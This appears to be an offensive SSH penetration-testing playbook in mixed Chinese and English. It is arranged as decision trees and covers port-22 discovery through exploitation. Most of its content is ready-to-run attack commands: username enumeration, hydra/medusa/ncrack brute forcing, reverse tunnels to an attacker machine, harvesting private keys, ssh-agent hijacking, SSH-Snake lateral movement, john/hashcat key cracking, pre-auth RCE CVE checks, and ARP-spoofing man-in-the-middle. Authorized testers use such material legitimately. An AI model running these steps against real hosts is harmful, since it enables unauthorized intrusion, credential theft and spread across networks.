In-Depth Reference
- SSH enumeration, brute forcing, tunneling, key exploitation, vulnerability detailed commands -> read references/ssh-techniques.md
Overall Decision Tree
发现 22 端口开放
├─ Phase 1: 服务发现与版本识别
│ ├─ Banner 抓取 -> 确定 SSH 实现 (OpenSSH / Dropbear / libssh / Erlang)
│ ├─ 版本号 -> 对照已知漏洞 (Phase 7)
│ └─ 算法审计 (ssh-audit) -> 标记弱密码套件
├─ Phase 2: 认证方式枚举
│ ├─ 支持 publickey + password -> 可尝试密码爆破 (Phase 4)
│ ├─ 仅 publickey -> 搜索泄露密钥 / 弱密钥 (Phase 4)
│ ├─ keyboard-interactive -> 可能存在 2FA / PAM
│ └─ gssapi-with-mic -> Kerberos SSO 环境
├─ Phase 3: 用户名枚举
│ ├─ OpenSSH < 7.7 -> CVE-2018-15473 时序枚举
│ └─ 已知用户名 -> 进入 Phase 4
├─ Phase 4: 凭据攻击
│ ├─ 密码爆破 (hydra / medusa / ncrack)
│ ├─ 私钥爆破 (已知密钥集 / Debian 弱 PRNG 密钥)
│ └─ 默认凭据 (设备厂商默认 SSH 密码)
├─ Phase 5: SSH 隧道与端口转发
│ ├─ 本地转发 (-L) -> 访问内网服务
│ ├─ 远程转发 (-R) -> 反向代理到攻击机
│ ├─ 动态转发 (-D) -> SOCKS 代理
│ └─ SFTP 隧道 -> 受限环境下数据传输
├─ Phase 6: 密钥窃取与复用
│ ├─ 目标主机 -> 搜集 id_rsa / id_ed25519 / authorized_keys
│ ├─ SSH-Snake -> 自动化密钥发现与横向移动
│ └─ ssh-agent 劫持 -> 复用内存中的密钥
└─ Phase 7: 已知漏洞
├─ CVE-2024-6387 (regreSSHion) — OpenSSH 8.5p1-9.7p1 pre-auth RCE
├─ CVE-2024-3094 (xz 后门) — 供应链攻击 liblzma hook
├─ CVE-2025-32433 — Erlang/OTP SSH pre-auth RCE
├─ CVE-2018-10933 — libssh 认证绕过
└─ CVE-2018-15473 — OpenSSH 用户名枚举
Phase 1: Service Discovery and Version Identification
1.1 Banner Grabbing and Version Detection
# 手动 Banner 抓取
nc -vn <IP> 22
# Nmap 服务版本 + 默认脚本
nmap -sV -sC -p 22 <IP>
# 获取服务器公钥指纹
ssh-keyscan -t rsa <IP> -p 22
1.2 Algorithm Audit
# ssh-audit — 自动分析算法强度与已知 CVE
ssh-audit <IP>
# Nmap 算法枚举
nmap -p 22 --script ssh2-enum-algos <IP>
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full <IP>
Key Judgment:
- OpenSSH 8.5p1–9.7p1 -> check CVE-2024-6387 (regreSSHion), immediately proceed to Phase 7
- libssh 0.6–0.8 (server side) -> CVE-2018-10933 authentication bypass
- Erlang/OTP SSH -> CVE-2025-32433 pre-auth RCE
- Weak algorithms present (ssh-dss / arcfour / CBC) -> record, may be used for downgrade attacks
Phase 2: Authentication Method Enumeration
2.1 Probe Supported Authentication Methods
# 使用 verbose 模式查看认证方式
ssh -v <IP> -o PreferredAuthentications=none
# Nmap 认证方式检测
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" <IP>
2.2 Authentication Method Decision Tree
认证方式枚举结果
├─ publickey + password
│ ├─ 尝试密码爆破 (Phase 4)
│ └─ 搜索泄露密钥
├─ 仅 publickey
│ ├─ 搜索 authorized_keys 泄露
│ ├─ 尝试已知弱密钥 (Debian PRNG)
│ └─ 搜索 Git 仓库 / 备份中的私钥
├─ password 被禁用但 keyboard-interactive 存在
│ └─ 强制指定: ssh -o PreferredAuthentications=keyboard-interactive <IP>
└─ gssapi-with-mic
├─ Kerberos 域环境 -> 尝试 TGT 认证
└─ kinit <user> && ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Phase 3: Username Enumeration
3.1 CVE-2018-15473 Timing Enumeration
Applies to OpenSSH < 7.7 — determine whether a user exists by the response time difference of authentication requests.
# Metasploit 模块
msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS <IP>; set USER_FILE users.txt; run; exit'
3.2 Auxiliary Enumeration Methods
用户名来源
├─ OSINT (LinkedIn / 企业邮箱格式推断)
├─ 已获得的其他服务枚举结果 (LDAP / SMB / Web)
├─ 默认用户名尝试: root, admin, user, test, git, deploy, ubuntu, ec2-user
└─ Shodan / Censys 历史数据
Phase 4: Credential Attacks
4.1 Attack Path Selection
已获得用户名列表
├─ 密码爆破
│ ├─ hydra -l <user> -P wordlist.txt -t 4 ssh://<IP>
│ ├─ medusa -h <IP> -u <user> -P wordlist.txt -M ssh
│ └─ ncrack -p 22 --user <user> -P wordlist.txt <IP>
│ 注意: SSH 通常有 MaxAuthTries 限制 (默认 6),低速爆破
├─ 私钥爆破
│ ├─ Nmap: nmap --script ssh-publickey-acceptance --script-args 'ssh.publickey=keys/' -p 22 <IP>
│ ├─ Metasploit: use scanner/ssh/ssh_identify_pubkeys
│ └─ ssh-keybrute (Python3, 支持旧算法)
├─ 已知弱密钥
│ ├─ Debian 预测 PRNG 密钥集 (g0tmi1k/debian-ssh)
│ └─ 厂商默认密钥 (rapid7/ssh-badkeys)
└─ 默认凭据
└─ -> 读 references/ssh-techniques.md #默认凭据表
4.2 SFTP Brute Force
SFTP uses the same SSH authentication mechanism, and the brute force commands are the same. After obtaining SFTP access, pay attention to detecting command execution bypasses.
# 即使 shell 被限制为 nologin,尝试直接执行命令
ssh -v <user>@<IP> /bin/bash
Phase 5: SSH Tunneling and Port Forwarding
5.1 Forwarding Type Decision Tree
已获得 SSH 访问
├─ 需要访问目标内网服务
│ └─ 本地转发: ssh -L <本地端口>:<内网IP>:<内网端口> <user>@<IP>
├─ 需要让目标访问攻击机服务
│ └─ 远程转发: ssh -R <远程端口>:127.0.0.1:<本地端口> <user>@<IP>
├─ 需要全流量代理
│ └─ 动态转发: ssh -D 1080 <user>@<IP>
│ └─ 配合 proxychains 使用
├─ SFTP 隧道 (受限环境)
│ └─ ssh -L <端口>:<目标>:<端口> -N -f <user>@<跳板IP>
└─ SSH 配置限制转发
├─ AllowTcpForwarding no -> 隧道被禁用
└─ PermitTunnel no -> TUN/TAP 被禁用
└─ 但可能绕过: 通过 ProxyCommand 或 nc 实现简易隧道
5.2 SFTP Symlink Exploitation
In a chroot SFTP environment, if there is write permission, a symbolic link pointing to the system root directory can be created:
sftp> symlink / froot
If the link can be accessed through a non-chroot service such as the Web, filesystem traversal is achieved.
Phase 6: Key Theft and Reuse
6.1 Key Collection Decision Tree
已获得目标主机访问
├─ 搜索私钥文件
│ ├─ 常见路径: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa
│ ├─ 配置文件: /etc/ssh/ssh_config, ~/.ssh/config (可能含代理跳板)
│ └─ 历史命令 / .bash_history 中的 ssh 连接记录
├─ 检查 authorized_keys -> 关联其他主机
├─ known_hosts -> 发现网络内其他 SSH 主机
│ └─ 若未哈希 -> 直接获取 IP/hostname
├─ SSH Agent 劫持
│ ├─ 检查 SSH_AUTH_SOCK 环境变量
│ └─ 存在 -> SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx ssh <next_target>
└─ SSH-Snake 自动化
└─ 自动发现本机私钥 -> 匹配可达主机 -> 递归传播
6.2 Key Cracking
# 加密私钥 -> 提取哈希后离线破解
ssh2john id_rsa > id_rsa.hash
john --wordlist=rockyou.txt id_rsa.hash
hashcat -m 22921 id_rsa.hash rockyou.txt
Phase 7: Known Vulnerabilities
7.1 Vulnerability Detection Decision Tree
SSH 版本已知
├─ OpenSSH 8.5p1–9.7p1
│ └─ CVE-2024-6387 (regreSSHion) — pre-auth 信号处理竞态 RCE
│ ├─ 确认: ssh -V 获取版本; 检查 LoginGraceTime 是否非零
│ └─ -> 读 references/ssh-techniques.md #CVE-2024-6387
├─ 系统使用 xz 5.6.0 / 5.6.1 (x86-64 Linux + systemd)
│ └─ CVE-2024-3094 — xz/liblzma 供应链后门
│ ├─ 确认: xz --version; ldd /usr/sbin/sshd | grep lzma
│ └─ -> 读 references/ssh-techniques.md #CVE-2024-3094
├─ Erlang/OTP SSH (OTP < 27.3.3 / 26.2.5.11 / 25.3.2.20)
│ └─ CVE-2025-32433 — pre-auth 状态机绕过 RCE
│ ├─ 确认: 端口 22/2022/830/2222 上的 Erlang banner
│ └─ -> 读 references/ssh-techniques.md #CVE-2025-32433
├─ libssh 0.6–0.8 (服务端)
│ └─ CVE-2018-10933 — 客户端发送 USERAUTH_SUCCESS 绕过认证
├─ OpenSSH < 7.7
│ └─ CVE-2018-15473 — 用户名枚举 (Phase 3)
└─ 批量漏洞扫描
└─ nmap -p 22 --script "ssh-vuln*,ssh2-enum-algos" <IP>
7.2 SSH-MitM (Man-in-the-Middle)
Applies when on the same network as the target:
SSH 中间人攻击
├─ ARP 欺骗 / DNS 欺骗 -> 重定向流量到攻击机
├─ ssh-mitm 工具 -> 代理 SSH 连接
│ ├─ 截获用户名与密码
│ ├─ 转发命令到真实服务端
│ └─ 用户端无感知 (需处理主机密钥警告)
└─ 前提: 目标未严格验证主机密钥 (StrictHostKeyChecking)
Configuration Audit (After Gaining Access)
After obtaining access permissions, check /etc/ssh/sshd_config for dangerous configurations:
| Configuration Item | Risk Description |
|---|---|
PermitRootLogin yes |
Allows direct root login |
PasswordAuthentication yes |
Allows password authentication (brute force risk) |
PermitEmptyPasswords yes |
Allows empty password login |
AllowTcpForwarding yes |
Allows port forwarding (tunneling) |
X11Forwarding yes |
Allows X11 forwarding (keylogging) |
AuthorizedKeysFile Custom path |
Backdoor keys may be hidden in non-standard locations |
ForceCommand Not set |
SFTP users may execute arbitrary commands |
Key Files:
ssh_config/sshd_config— client/server configurationauthorized_keys— authorized public keysknown_hosts— known hosts (can leak network topology)id_rsa/id_ed25519— private key files